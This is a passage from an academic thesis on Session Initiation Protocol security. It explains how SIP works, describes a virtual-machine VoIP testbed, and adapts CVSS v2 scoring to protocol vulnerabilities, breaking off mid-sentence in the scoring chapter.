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ABSTRACT 
The goal of this thesis is to investigate the security of the Session Initiation Protocol 
(SIP).  This was accomplished by researching previously discovered protocol and 
implementation vulnerabilities, evaluating the current state of security tools and using 
those tools to discover new vulnerabilities in SIP software.  The CVSS v2 system was 
used to score protocol and implementation vulnerabilities to give them a meaning that 
was used to compare the severity of protocol vulnerabilities versus the implementation 
vulnerabilities.  Comparison between protocol and implementation vulnerabilities reveals 
that software remains the greatest weakness of SIP.   
One particular weakness is lack of TLS (secure session level) implementation in 
any software tested. This remains a significant concern and leaves all of the software 
tested open to many of the protocol vulnerabilities mentioned.  Furthermore, the large 
number of implementation vulnerabilities discovered in the parsing mechanisms while 
testing software leads to the conclusion that SIP is still too immature and complex of a 
protocol.  More work needs to be done developing a reference implementation and robust 
parser for SIP, and TLS with SIP, before SIP is ready for environments that require high 
assurances of authenticity, secrecy and integrity. 
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Useful voice communication over the Internet, known as Voice over IP (VoIP), 
has been a goal for many years.  VoIP providers have proposed many separate protocols, 
typically with proprietary interfaces.  Examples of protocols include a skinny client 
control protocol (SCCP), developed by Cisco Communications, and Skype’s 
undocumented VoIP algorithm.  In 1999, the Session Initiation Protocol (SIP) was 
proposed as a solution for VoIP as an open standard.  This thesis investigates the 
existence of security vulnerabilities in SIP, and how the complexity of SIP leads to 
implementation vulnerabilities in SIP software.  In order to evaluate the current state of 
security with SIP, I will describe the known protocol vulnerabilities in SIP and propose 
previously undiscovered protocol vulnerability.  Additionally, I have used SIP-oriented 
fuzzers to discover implementation vulnerabilities of commonly used SIP software.  
Using CVSS v2, implementation and protocol vulnerabilities are compared for severity.  
Lastly, I have developed a methodology to test SIP software using a single real computer 
and virtual machines while maintaining the SIP trapezoidal system.   
All IP addresses and domain names used in this thesis are for example purposes.  
IP addresses in the 196.168.*.* and 10.*.*.* domains are used, to represent publicly 
facing IP addresses unless otherwise noted. 
B. THESIS LAYOUT 
Chapter II provides a more in-depth description of SIP and its supporting 
protocols. Chapter III describes the methodology and testbed to analyze and test the SIP 
protocol.  Chapter IV describes a method of adapting CVSS v2 to protocol 
vulnerabilities.  Chapter V contains a list of previously known protocol attacks, as well as 
the proposal of previously unidentified protocol vulnerability.  Chapter VI describes a list 
of tools developed to discover vulnerabilities in SIP software, and presents new 
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implementation vulnerabilities discovered with those tools.  Chapter VII discusses the 
results of this thesis, and provides suggestions for future work in this area. 
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II. SESSION INITIATION PROTOCOL 
A. VOICE OVER IP 
This chapter will briefly describe why VoIP technology is being developed, and 
discuss the deficiencies in the traditional telephone network that are driving VoIP 
technology development. 
1. The Traditional Phone Network 
Traditionally, telephone communication has been carried over a specialized 
network designed specifically to carry voice data.  The Public Switched Telephone 
Network (PSTN), developed by AT&T during the 20th century, was developed with 
voice traffic in mind [1].  The PSTN was designed to facilitate one-to-one voice 
conversations, and to do so while providing consistently good audio quality.  
Additionally, because of the high reliability of the phone service, it became increasingly 
relied upon by emergency services for communication. 
2. The Voice Over IP Solution 
Despite the allure of a telephone service that runs over the Internet, the historical 
dominance of PSTN and several technological hurdles have hindered its development.  
The most immediately obvious problem has been the difference in call quality of voice 
over IP compared with call quality on the PSTN. 
Attributes that have made the PSTN effective at voice communications are a 
circuit-switched network, and an addressing scheme that is strongly tied to physical 
location.  When a call is created on a circuit-switched network, that call is given a 
dedicated amount of resources on a specific path.  This feature means that a PSTN phone 
call will always have enough bandwidth to continue the phone call, resulting in a low 
latency and jitter (the change in latency of a phone call over time).  The addressing 
scheme of the PSTN was convenient in that it was small, easy to remember, tied to a 
physical location for emergency services, and modular between countries.  When cell 
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phones became popular, the public came to expect that not only could people be tied to a 
physical address for emergency services, but that a phone number could also be tied to a 
particular person, regardless of their location. 
Because the Internet is a packet-switched network as opposed to a circuit 
switched network such as the PSTN, it is more difficult to ensure low latencies, jitter, and 
reliability needed for voice conversation.  Additionally, because the packets now have to 
be serialized, compressed, and jitter buffered, delay time has been significantly higher for 
VoIP [2].  One extremely difficult goal of VoIP has been the ability to be both physically 
tied to a location, and addressed to a unique person rather than location.  Because it is 
much easier to authenticate users rather than addresses, VoIP protocols typically tried to 
tie an address to a user, and rely on the user to provide their physical location in the case 
of emergencies [3].  Research into new addressing schemes and QoS protocols is 
currently underway to address the problems for the Internet as a whole, which will 
provide direct benefits to VoIP and SIP [2]. 
B. OVERVIEW 
SIP is an application layer protocol designed to facilitate low latency multimedia 
sessions between multiple users.  Because SIP was designed to transmit more than voice 
data, the most fundamental level of a SIP conversation is the Session [4]. As displayed in 
Figure 1, a SIP Session provides for user location, session setup, user management while 
the session is ongoing, and session tear-down [4], [5].  Registration provides for users to 
be locatable at an address, such as Alice@example.com, even though Alice may be at a 
location with a dynamic IP.  SIP’s session setup allows for users to communicate directly 
with each other, while teardown closes that connection.  While SIP is most commonly 
used for VoIP, it has also been used for teleconferencing [5].  This section goes into 




Figure 1.   Typical SIP conversation 
 
 SIP MESSAGE SIP MANAGED DATA 
 ETHERNET ETHERNET 
 IPV4  IPV4 
 TCP/UDP  UDP 
 SIP   RTP 
 SDP  DATA 
Figure 2.   SIP packet structure 
1. Trapezoid 
One of the simplest SIP configurations, shown in Figure 3, is known as the “SIP 
Trapezoid.”  If user Alice@atlanta.com wants to talk to user Bob@biloxi.com, Alice’s 
computer would send a message to her local SIP gateway proxy, atlanta.com.  The 
atlanta.com SIP proxy then contacts the biloxi.com SIP proxy, which will then ring Bob, 
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waiting for an answer.  Once Bob answers his phone and Alice receives his response, a 
direct connection is set up between Alice and Bob, bypassing the proxies entirely [4], [5].  
SIP distinguishes between outward facing servers, such as gateway proxies and internal 
clients e.g., SIP-based phones [4].  
 
Figure 3.   SIP Trapezoid 
C. INVITE 
Almost all SIP communication takes place using INVITE transactions1, initiated 
by a party sending an INVITE message.  INVITE transactions are the mechanism by 
which SIP endpoints establish and modify sessions. A complete INVITE transaction 
consists of an originating user sending an INVITE message to one or more users, those 
users responding with an OK message, and the originating user finally responding with 
an ACK message.  An INVITE request contains fields to identify the sender, receiver, 
intermediaries, and nonces. A description of the contents of common INVITE requests 
can be found in Table 1, followed by a sample INVITE request in Table 2 [6, p. 213].  
When a user receives an INVITE message, if the user decides to accept the phone call, 
the phone will respond with a 2002 OK message.  This message contains much the same 
information as the INVITE message.  Upon receiving a 200 OK, the originating user will 
                                                 
1 An INVITE transaction consists of all the messages following a user sending out an INVITE 
message, and should not be confused with an INVITE message, which is only the first message sent out in 
an INVITE transaction. 
2 The 2xx designation describes an acceptable response to any message.  The only time it is used is in 
the 200 OK response. 
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respond with an ACK message, and immediately begin exchanging data over ports 
established in previous SDP messages.  SDP (Session Description Protocol), described in 
RFC 2327, is a format for describing generic objects.  SIP uses it to provide details on 
what ports, audio or video protocols, bitrate, etc., to use in conversations [7]. Non-
provisional messages in an INVITE transaction provide all routing information needed 
for the SIP message, provide a unique identifier for each SIP message and, lastly, provide 
protection against message spoofing by an attacker who cannot at least eavesdrop on 
communications [4]. The INVITE and ACK messages can each contain an SDP message 
and a 200 OK message, sent in response to an INVITE, will always contain an SDP 
message.  The contents, purpose, and order of these messages are described further in 
Chapter II, Section E.1.  A typical INVITE request between two SIP users who each use 
a proxy can be seen at Figure 4, with a flowchart from the perspective of the sender in 
Figure 5. 
In order to decide upon the data parameters of a given conversation (such as 
encoding and bandwidth), SDP messages are exchanged between users.  SIP follows the 
offer/answer model of establishing the parameters, meaning one client will offer their 
capabilities, and the other client will respond with one of the choices offered.  The first 
SDP message exchanged is the INVITE, then the receiver answers.  If the first INVITE 
instead does not contain an SDP message, then the responding 200 OK message contains 
the offer, and the ACK message will contain the answer.  The other function of SDP 
messages beyond establishing the data protocol parameters is to advertise to which port 
each client will be listening for RTP packets.  Ports to use do not follow the ask/answer 
model, and each client states which port they will listen on, without the possibility for 
negotiation. 
In addition to the three required messages (INVITE, OK, ACK) of an invite 
transaction, users and proxies also send various status messages.  At every hop an 
INVITE or ACK message travels through, the server receiving the message responds 
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with either a 1003 TRYING message, or an error message.  Once an INVITE message 
reaches its intended destination, the receiver will then ring the phone, and should respond 
with a 180 Ringing message. 
If any part of an INVITE request fails, servers are required to respond with an 
appropriate error message.  These error messages are categorized into 3xx redirection 
responses, 4xx request failures, 5xx server failures, and 6xx global failures. 
Table 1.   Common SIP INVITE field description 
Field Name Content Description 
INVITE Contains the ultimate address of the INVITE request, occasionally 
rewritten by intermediate routers that replace the destination with a 
more precise or correct address.  Also describes which version of SIP 
the message follows. 
Route Addresses listed here are a list of proxies the INVITE request is to be 
routed through on the way to its destination 
Record-Route Addresses listed here are added by routers, indicating that all future 
messages should be routed through themselves.  The lr indicates the 
address of ‘last resort’ at which to contact the server. 
Via List of address which this INVITE request has traveled through 
To Initial destination address of the INVITE request 
Max-Forwards Maximum number of proxies this request can be routed through 
From Permanent address of sender 
Call-ID Unique identifier to the SIP Message 
CSeq Unique identifier so servers can keep track of which SIP transaction a 
message belongs in 
Contact Current location of the sender 
Content-Type Name of the protocol describing call information 
Content-Length Length in bytes of the data describing call information 








                                                 
3 The 1xx designation of 100 Trying or 180 Ringing means the message is a provisional message.  The 
conversation will not be affected by the ability for servers to deliver these messages, and are intended only 
to provide information, not change the current state of a transaction.  
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Table 2.   Sample SIP INVITE. From [4] 
Field Name Sample Content 







To Bob <sip:bob@biloxi.com> 
Max-Forwards 70 
From Alice <sip:alice@atlanta.com>;tag=192342987 
Call-ID A84b4c76e66710 




SDP Message <SDP message Contents> 
 
In addition to session establishment, INVITE requests also may modify existing 
SIP communications.  Examples of such modifications include adding additional 
participants, adding an additional communication channel such as video on top of voice, 
or modifying the protocol by which data is being carried, e.g., increasing the sampling 









Figure 4.   Typical SIP INVITE request without “100 Trying” requests 
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Figure 5.   Flowchart displaying states of the call initiator in an INVITE message 
D. REGISTRATION 
In order to make SIP connections, a SIP endpoint must first have a public 
Uniform Resource Indicator4 (URI) binding, such as Alice@atlanta.com or 
Alice@192.168.1.1.  This URI allows receiving endpoints to locate Alice.  In the above 
example, while Alice is responsible for the host at 192.168.1.1, and thus no special 
processing is needed to bind herself to that address, work must be done to register a 
                                                 
4 URIs describe the location of a proxy server, and are described in more detail in section 2.E.3. 
 12
specific IP address to Alice@atlanta.com.  This work is performed by sending a 
REGISTER request to the SIP proxy server responsible for the atlanta.com domain.  The 
details of this registration are explained below, and are also displayed in Figure 6. 
 
 
Figure 6.   SIP digest registration 
When the typical client turns on their phone, the phone sends a REGISTER request 
with no authenticating credentials to their registered server.  This initial request is typically 
denied, and the server will then issue a nonce, and ask for credentials [4, p. 197].  The 
authentication system is heavily based on the HTTP Digest Authentication adapted for SIP 
as follows: the client then sends back that nonce, and username, and a digest that includes 
hashes of that nonce, username, and a secret shared password [4, p. 199].  The correct 
resolution of this hash authenticates the user to the server. Users authenticated to a proxy 
server may issue invite requests via that server, and that server will then forward incoming 
requests for that user to the authenticated computer.  In addition to standard HTTP Digest 
Authentication, SIP also allows for phones to authenticate the server over Transport Layer 
Security (TLS) before sending authentication credentials, which protects against 
eavesdropping (and subsequent brute forcing of a password) by encryption, as well as 
providing authentication of the server to the SIP client via the information contained in the 
authorized certificate [4 pp. 238–240], [8].  Using HTTP Digest Authentication after TLS 
allows for SIP to provide secure two-way authentication [4, pp. 247–249]. 
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E. PROXYING AND REDIRECTON 
1. Proxy Servers 
The proxy mechanism of SIP serves many purposes, most of which enable the SIP 
endpoints to be mobile.  The combination of proxy servers and client registration allows 
for endpoints to travel to anywhere on the Internet, register with a known domain, and 
then be contacted from anywhere.  Proxy servers can also provide features such as 
encryption to the next hop in the SIP communication. 
There are two types of SIP proxy servers: stateless and stateful proxies.  Stateful 
proxies, as the name implies, keep track of SIP transactions, remembering the state of 
each client in a conversation.  One primary purpose of stateful proxies is to “fork” 
incoming requests.  SIP allows for multiple clients to be bound to a public address at the 
same time, such as Alice+home@atlanta.com, Alice+work@atlanta.com, and 
Alice+voicemail@atlanta.com.  A stateful proxy can reroute an invite request to all three 
addresses, and decide which response is the best to forward on.  Stateful proxies may 
change to stateless proxies, provided that they have completed all transactions that 
require state (such as the above forking example.)  The stateless proxies have a much 
simpler job than stateful proxies, and provide routing and forwarding capabilities for 
authenticated end clients. 
2. Redirect Servers 
In addition to regular routing, SIP servers also can redirect requests instead of 
simply forwarding them.  These redirection servers send back responses that cause the 
originating client to contact a new location with the specified request.  As an example, 
Alice is trying to contact bob@biloxi.com.  The biloxi.com proxy server then responds 
with a 302 Moved Temporarily SIP:bob@BobsBeefShack.com, which Alice will then try 
to contact.  Any type of SIP request can be redirected, including registration requests.  A 
typical reason for a register to be redirected would be if the server registration was 
originally sent to a server’s multicast address, and the server instead chose to redirect 
registration to its unicast address. 
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F. SIPS 
RFC 3261 also provides for a level of security of SIP conversations.  Clients 
wishing to utilize encryption will preface their address with “SIPS” instead of “SIP” [4]. 
SIPS is a special type of URI designed to guarantee transport layer security between all 
hops of a SIP conversation [4, p. 239].  A SIPS request is much like a regular SIP request, 
with the exception that servers and clients should process a SIPS request with TLS along 
each hop.  However, because end users or intermediate servers may not have TLS 
capabilities, there is no guarantee of end-to-end TLS [4, p. 249]. 
G. RELATED PROTOCOLS 
SIP relies on other well-established protocols in order to create data sessions, and 
secure SIP communications.  Some of the major protocols are the real-time transport 
protocol (RTP), the session description protocol (SDP), the transport layer security 
(TLS), and secure multipurpose Internet mail extensions (SMIME).  In most default 
configurations, SIP is carried over UDP, although any cryptographic protections are 
usually established over protocols relying on TCP [4, p. 249].  We describe these below.  
1. SDP 
SDP, defined by RFC 2327, is the mechanism used by SIP endpoints to negotiate 
the specific communication protocol that they will use to exchange data [4, p. 10].  SDP 
allows for the sender to advertise which communication protocols, e.g., Speex, GSM that 
the sender is capable of using [7, p. 1].  These protocols provide the data encoding on 
which voice, video, or other data is carried.  SIP uses an offer/answer model with SDP, 
which means that the initiator will offer as many capabilities as it chooses, and the 
receiver’s answer will determine the specific parameters of the conversation by choosing 
a subset of the options offered by the sender.  SDP is typically carried in the same packets 
as SIP INVITE requests, thus relying on the same underlying packet structure common in 
SIP packets [7].  Table 3 contains a description of common SDP options within a SIP 
message. 
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Table 3.   Common Fields of an SDP message with a brief description 
Field Name Description 
Version Contains the version number of SDP, currently 0 
Owner/creator, 
Session ID 
Contains the address of the creator of the message, as well as an 
identifier to identify the SDP message.  In practice, the only 
information in this field used is the address 
(e.g., Cisco-SIPUA 12462 0 IN IP4 192.168.1.200) 
Session Name Contains what the sender thinks is the name of the session.  This 
value has little impact on the resulting call (e.g., SIP Call) 
Time Description Contains the time the session becomes active, almost always 0 
Media 
Description 
Contains various subfields including port, protocol, and message 
encoding scheme (e.g., audio 24802 RTP/AVP 8 101 
Type Type of communication to be carried out (e.g., audio) 
Port Port which the sender is expecting to receive data.  The responder 
will change this to the port in which they expect to receive data on, 
thus creating the conversation’s port pair. (e.g., 24802) 
Protocol Protocol used for data, almost always RTP (e.g., RTP/AVP) 
Format Voice encoding to be used to communicate data 
(e.g., ITU-T G.711 PCMA) 
Rtpmap Media 
Attribute 
Most SDP messages contain several rtpmap media attribute lines, 
which contain the encoding name, clockrate, and encoding specific 
parameters 
(e.g., rtpmap 8 PCMA/8000) 
 
2. RTP 
RTP packets are the packet containers for the session data, i.e., voice or video in a 
SIP conversation [4, p. 8].  Important RTP functionality within SIP is data sequencing 
and time-stamping to correct for jitter.  RTP may be carried over either TCP or UDP, but 
because RTP conversations are more sensitive to delays than packet loss, RTP is almost 
exclusively carried over UDP [9, p. 2]. 
3. URI 
Uniform Resource Indicators (URI), defined in RFC 3986, is the mechanism used  
by SIP to describe locations of user clients and servers.  URIs must consist of a scheme, 
user, and hostname, and may consist of a query.  The scheme, always either SIP or SIPS, 
describes the protocol the URI corresponds to.  The user field describes the user at that 
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address, typically a username or unique identifier for a server. Lastly, the hostname 
describes the location at which the user can be found.  The hostname can be either a 
domain name, such as atlanta.com, or an IP address [9, p. 148], [10]. 
 
Figure 7.   Typical URI 
4. TLS 
Transport layer security (TLS), or TLS, is a protocol designed to provide private 
communication over the Internet [8, p. 1].  The TLS handshake protocol allows for 
authentication using public key cryptography [8, p. 23].  TLS’s use in SIP is limited 
because of the multi-hop method in which SIP requests travel from an originating UA to 
a destination UA, which does not guarantee secrecy from endpoint-to-endpoint [4, p. 
249.]  Furthermore, using TLS from UA to UA with guaranteed secrecy is not possible 
unless one UA has a certificate with a common trust chain with the other UA [4, p. 149].  
TLS is useful, however, to authenticate servers [4, p. 241.] 
H. FORMATTING CONFIGURATIONS 
Much of the exploitability of SIP programs lies in the parser used to interpret 
protocol headers.  Much of the reason for this is because of the complexity of the SIP 
RFC, and the wide variety of ways in which a SIP message can be formatted.  Some 
fields have both a long and short form (for instance, Via: becomes v:).  The short forms 
are designed to be used if message size is an issue; all clients are required to be able to 
implement both short and long forms.  Beyond a few exceptions, there is no required 
order for different fields within a SIP message, and also no required order for options 
within a specific field.  The SIP RFC is very laissez faire with white space, with fields 
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having any amount of white space within the field values as long as new lines have 
spaces or tabs starting the next line, so that the following are all equivalent: 
 
To: sip:alice@atlanta.com 
To :  sip:alice@atlanta.com 
To : 
  sip:alice@atlanta.com 
 
While there are preferred forms governing the white space, UAs need to be able 
to implement all of the previous forms. 
The below sections serve as examples of the complexity that SIP parsers must 
overcome; however, they are far from complete.  The basic rules of SIP parsers are 13 
pages long.  To give a sense of comparison, the basic rules for HTTP are given in only 
two pages. 
1. Contact Field 
The contact field can have a wide variety of acceptable formats.  The below 
example is from the SIP RFC: 
 
Contact: "Mr. Watson" <sip:watson@worcester.bell-telephone.com> 
         ;q=0.7; expires=3600, 
         "Mr. Watson" <mailto:watson@bell-telephone.com> ;q=0.1 
 
Some valid configurations are a blank in place of "Mr. Watson," i.e., "" in place 
of Mr. Watson.  If there is no "Mr. Watson," then the < and > around the URI are 
optional.  If the < and > are missing, then the options after the URI are treated as URI 
parameters instead of header parameters as they would otherwise be interpreted. 
2. URIs 
URIs are the addresses of SIP, with the generic form of a URI given as 
sip:user:password@host:port;uri-parameters?headers.  Of these fields, the only required 
portions are sip: user, and @host, with the rest optional.  There is a wide variety of URI 
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parameters as well, including those such as transport=tcp, subject=project%20x and 
priority=x.  Fortunately, URI parameters have no white space, or unescaped reserved 
characters. 
I. SECURITY 
 “SIP is not an easy protocol to secure” [4, p. 232].  Because SIP is transmitted 
over multiple hops, it cannot simply be encrypted end-to-end, and intermediaries must 
be able to read and modify the headers of SIP messages.  Because of this, SIP messages 
cannot be implicitly trusted to have end-to-end encryption even if the first hop is 
encrypted.  While SIP has provisions for some security systems, such as the previously 
mentioned TLS, SIPS URI, and HTTP Digest, in other cases it relies on the end clients 
to negotiate additional security measures, such as IPSEC [4, p. 233].  A list of the ways 
in which SIP can provide authentication, along with secrecy and integrity, is found in 
Table 4. 
Table 4.   Methods users and servers are identified, along with SIP provisions for secrecy 
and integrity 
 Method of Authentication Secrecy/Integrity 
User Agent Digest Mechanism TLS, can only guarantee secrecy 
between host and next hop 
Stateful Proxy TLS, public key certificate TLS, can only guarantee secrecy 
between host and next hop 




Primary limitations of SIP revolve around its difficulty in operating behind NAT 
and firewalls [4].  Because SIP is inherently a peer-to-peer type connection, NAT 
traversal is very difficult without the assistance of an outside server or the router 
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performing NAT.  Typical NAT traversals involve sending a UDP message with source 
port as the standard SIP port (5060), and discovering which port the NAT has translated 
the source port to. The other client then uses this to traverse the NAT.  Some newer 
routers are advertised as SIP capable, which means that they are able to understand the 
SIP protocol, and act as transparent stateless SIP proxies. 
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The methodology we used for development of attacks was primarily to study the 
SIP RFC, building implementations to test attacks and other informal methods rather than 
conduct a formal analysis.  A formal analysis of SIP was not conducted because of the 
size and complexity of the protocol specification: the most recent RFC encompasses over 
250 pages.   
The informal approach taken was as follows: create the common SIP trapezoid 
using virtual machines, identify likely attack vectors given different potential threat 
stances (such as man-in-the-middle, eavesdropping, and packet injection), test the 
REGISTER redirect vulnerability described later, and lastly use previously written attack 
software.  The phones tested were the following softphones: Ekiga softphone, Linphone, 
kphone, Qutecom, and X-Lite [11], [12], [13], [14], [15].  The SIP server used was 
siproxd [16]. 
B. TESTBED 
The mock network created, hereafter known as the “testbed,” consists of a single 
computer running three virtual machines.  The physical layout can be seen in Figure 8, 
and the logical layout can be seen in Figure 9.  To simulate isolated computers, virtual 
machines were created using VMWare Fusion running Ubuntu.   
In order to prevent different SIP elements from interacting with each other (such 
as Alice@atlanta.com hearing the same traffic as Bob@biloxi.com), a VPN was 
established with OpenVPN 2.1_rc19 between all relevant entities.  Configuration files 
used by the clients and server are listed in Appendix A.  The configuration files listed 
will create a VPN between two computers by using a pre-shared static key.  The static 
key is created by running the command ' openvpn --genkey --secret static.key.'  By 
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rerouting all SIP traffic through VPNs as needed, a network topology that allows for 
routing over multiple networks can be created on a single computer. 
Hardware used for testing is a 1.83 GHz Macbook Pro with 2GB of RAM running 
VMWare Fusion 2.0.6.  Three virtual machines (VMs) run simultaneously on the host 
computer, with VM 1 and 3 running in 'bridged' mode, and VM 2 in 'NAT.'  VM 1 and 2 
use Ubuntu 8.04 LTS, while VM 3 uses Ubuntu 9.10 Client Edition to provide the latest 
version of software tested in this thesis.  The host computer and VMs 1 and 3 are on the 
196.168.1.0(/24) network, the host computer and VM 2 are on the 192.168.235.0(/24) 
network, and VM 1 and 2 have a virtual private network (VPN) on the 10.0.0.1(/8) 
network. 
The VPN connecting VM 1 and 2 is established using OpenVPN, and VM 2's 
routing table is modified so that all IP packets except those addressed to VM 1's publicly 
facing IP are routed through the OpenVPN virtual device, effectively creating a private 
network whose network traffic is unable to be viewed by any machine except VM1 and 
the private interface of VM2.  The resulting network is logically equivalent to having the 
same type of network displayed in Figure 9 without having 4 separate computers.  
Configuration files for both VM 1 and VM 2's openVPN, as well as the siproxd 
configuration file can be found in Appendix A.  Usernames for each virtual machine are 
'sip1', 'sip2', and 'sip3' respectively.  External computers and the host computer use the 
sip0 username as a the URI from which calls originate.  DNS service is required for 
siproxd to function effectively, and was implemented modifying the /etc/hosts and by the 
use of a dynamic DNS service.  Addresses sip1.example.org and 
sipinternaltest1.dyndns.org reflect the 192.168.1.x public address of VM1, while 


















Figure 9.   Logical testbed layout 
C. ATTACK SOFTWARE 
This thesis analyzes the potential attacks an adversary can perform based on 
certain attack postures.  An attack posture is the physical or logical location within a 
network infrastructure that an attacker has been able to place himself.  The severity of 
attack postures range from eavesdropping and injection, otherwise known as packet-
sniffing, to man-in-the middle In the packet-sniffing scenario, an attacker can read data 
coming from a transmission medium (sniffing), and insert data back on that transmission 
medium (injection) but cannot interfere with data which has already been transmitted.  In 
comparison, not only can the man-in-the-middle read packets and write to the network, 
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they can transform packets before they reach their intended recipient.  The primary attack 
postures that were modeled for this thesis were packet sniffing/injection.  Man-in-the-
middle type attacks are discussed for protocol vulnerabilities but not implemented. 
Like HTTP, SIP communication uses a human-readable communication method, 
encoded with the US-ASCII character set.  Not only does this make understanding SIP 
messages easy by looking at raw packet captures, but it also allows for relatively easy 
development of attacks. 
1. Attack Modeling 
In order to model attacks from a packet-sniffing scenario, software was written to 
perform raw packet processing in the C language.  The advantage of using such low-level 
packet processing is that it can provide a proof-of-concept exploit, and actually performs 
wire sniffing, mimicking the effects of packet sniffing and injection as displayed in 
Figure 10. The attack software's primary purpose is to address the problem of creating 
malicious traffic in response to SIP client requests, rather than generating malicious 
requests to servers.  
 




Figure 11.   Man-in-the-middle attack scenario 
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D. USER AGENTS 
User agents are the client software that initiate and receive SIP calls.  As stated 
earlier, user agents tested in this report are Ekiga 2.0.12, linphone 3.1.2, kphone 4.2, 
Qutecom 2.2, and xlite 3.0 [11], [12], [13], [14], [15].  Ekiga and linphone were installed 
using the synaptic package manager, and kphone installed from source[13]. 
E. REGISTRATION AND PROXY SERVERS 
Siproxd was used as the registration and proxy server for this report, primarily 
because it is free and easy to configure.  While Sip Express Router is also freely available 
and more feature-filled, it is much more difficult to configure, and has not received an 
update in over 3 years at the time of this report. 
F. REGISTRATION AND DIALING 
On clients where it was possible, registration was conducted so that clients 
registered to the address sip2@sip1.example.org on server sip1.example.org with a route of 
sip2.example.org.   Once registered, calls from test programs could be addressed by dialing 
sip2@sip1.example.org if we want to test them behind the registrar/proxy, or by dialing 
sip2@(VM2_ip_address).  For clients that did not correctly address through the VM, VM2 
was bridged and the siproxd.conf file modified the request so that if_inbound and 
if_outbound matched with the host_sip_reg field given a value of 192.168.1.0/24.  Clients 
then no longer attempted to route traffic through sip1.example.org, and would directly 
register on address sip1.example.org.  All other calling behavior remained the same. 
G. LIMITATIONS 
Many difficulties were encountered in the course of creating the testbed as 
originally designed, primarily with regard to enforcing user clients to register via the 
correct outgoing interfaces.  Because VM2 had to be able to address VM1 publicly in the 
routing table in order for the VPN to work, there was always a way via the routing table 
to address both the bridged 192.168.1.x address and the VPN address from inside the 
subnet. Some clients, when registering publicly would send their SIP traffic to the 
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incorrect interface, and had no way to specify which interface to use.  This difference 
caused an inability for Ekiga to register properly.  In cases where it was not possible for 
clients to register via the VPN, the computers were bridged and registered in the manner 
described in the next paragraph. 
In many ways, it was just as effective to register clients from VM 3 while on the 
same collision domain as VM1, and to do away with the VPN.  After this test calls would 
be made from VM2 behind the subnet.  With this type of scheme, as long as clients were 
registered to the server, and test programs were addressed to the registrar then traffic 
would effectively function through the registrar with no unusual effects to any of the 
programs.  To modify the siproxd configuration file to this setup, change the if inbound 
and if outbound to equal eth0. 
Another significant problem, notably with xlite and linphone is the use of an 
external DNS server to provide address resolution, rather than use the default DNS lookup, 
which also would bypass the /etc/hosts file.  The workaround for xlite and linphone was to 
use the dynamic DNS5 service to perform address resolution for these requests.  Address 
resolution was required as siproxd did not accept REGISTER requests that were addressed 
via IP addresses rather than hostname.  While not ideal, the use of a dynamic DNS service 
was acceptable, as both xlite and linphone would have required a universally valid DNS 
address, and not one that was promulgated only on the internal network. 
While the testbed performed adequately, and was useful given limited resources, 
having at least three separate physical computers, with distinct collision domains would 
have avoided many of the difficulties encountered for this thesis with correctly setting up 
more complex routing scenarios.  Traffic taken from VM1 is displayed in Figure 12 for a 
network configuration both with and without the VPN. 
                                                 
5 A Dynamic DNS hosting service allows you to create a customized DNS address which is accessible 
through normal DNS servers.  DNS servers resolve the top level domain, in this case dyndns.org, and the 
computer queries that authoritative DNS server to get the address of sip1.example.org.  This essentially 




Figure 12.   Traffic capture of registration and phone call using the VPN (top), and a completely bridged network (bottom) 
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H. OTHER SOFTWARE 
Other software originally intended as registration and proxy servers was Asterisk, 
the open source PBX.  Asterisk was going to be the test software because of its ubiquity 
in the VoIP world, and because it is a fully featured Private Branch Exchange (PBX) 
endpoint.  Asterisk was eventually deemed to be unsuitable because Asterisk cannot 
currently function as a SIP endpoint.  Other problems with Asterisk is also difficult to 
configure because of its complexity [18].  
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IV. COMMON VULNERABILITY SCORING SYSTEM V2 
A. OVERVIEW 
The Common Vulnerability Scoring System version 2 (CVSS v2), designed for 
classifying implementation vulnerabilities is the most commonly used vulnerability 
classification system currently in use [19].  Used by the National Institute for Standards 
and Technology (NIST), National Vulnerability Database (NVD), and designed by a 
consortium of individuals from companies including Cisco, Symantec, and IBM, CVSS 
v2 takes in a set of inputs about a vulnerability and creates three metrics between 0 and 
10: base metrics, temporal metrics, and environmental metrics.  To calculate individual 
scores, the Cisco CVSS v2 calculator was used.  The following sections describe the 
inputs to CVSS v2, and how to implement them for the protocol vulnerabilities described 
later.  All information on CVSS v2 comes from the CVSS v2 complete documentation, 
and adaptations to SIP protocol vulnerabilities are personal work. 
B. BASE METRICS 
Base metrics include commonly considered impacts of security vulnerabilities in 
the areas of authentication, confidentiality, integrity, and availability.  Each area except 
authentication is assessed as having a complete, partial, or no impact.  The other two 
areas of base metrics include an access vector, which defines where, on a system, the 
attacker needs to be positioned, and access complexity, describing how difficult an attack 
is to conduct.  If a program is exploited with root privileges, confidentiality, integrity and 
availability are scored as complete vulnerability, while exploitation at user privileges is a 
partial vulnerability. 
1. Confidentiality 
Complete impact for confidentiality includes a loss of all data on the target 
system such as memory and files, while a partial impact would include a significant 
loss of data, but the attacker has no control over the scope of data loss.  As protocol 
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vulnerabilities only include the loss of the SIP data currently in traffic, the largest 
impact a protocol can receive in this field is a partial impact.  
2. Integrity 
Integrity impact primarily encompasses the ability for an attacker to modify data 
on the host system.  Partial data impact is limited in scope, while complete loss of 
integrity includes the ability for an attacker to modify any content on the vulnerable 
system, as is in the case where a user is able to remotely execute code on the target 
system.  Similar to confidentiality, as protocol vulnerabilities assume the system is well 
designed, the largest impact to integrity for protocol vulnerabilities is Partial. 
3. Availability 
Availability is the ability for the targeted resource to stay online.  Complete loss 
of availability includes the shutdown of the resource, while partial loss of availability is a 
decreased availability of that resource, such as only being able to accept a limited number 
of connections.  There is no scoring difference between loss of the service being 
exploited and complete loss of the hosting computer. 
4. Authentication 
The authentication field is a measure of how many times an attacker needs to be 
authenticated to a resource before they are able to conduct the exploit.  Authentication 
impact is divided into three levels: an attacker either requires no authentication to a 
system, single authentication, or authentication by two or more systems.  This method is 
straightforward to adapt for protocol vulnerabilities, and it would be very rare for a SIP 
system to require authentication in multiple locations, however it could be possible if 
there was an attack that required an attacker Eve to modify both Alice and Bob’s registrar 




5. Access Vector 
Access vector describes the location an attacker needs to be positioned in a network 
in order to exploit a vulnerability. It is broken down into local system, adjacent network, or 
network.  In this case, local would mean the local computer, adjacent network as being 
located in the same collision or broadcast domain, while network means an attacker can be 
located anywhere they can get information packets to the target computer. 
6. Access Complexity 
Access complexity is perhaps one of the most subjective ratings in the CVSS v2 
system.  A high level of difficulty in access complexity can result in factors such as 
difficult race conditions, unusual configurations of software, requiring easily detected 
social engineering, or requiring spoofing or controlling other systems (such as pretending 
to be the valid registrar for a client).  Low levels of complexity include requiring no 
previous knowledge, default configurations, if there is a race condition than it is easily 
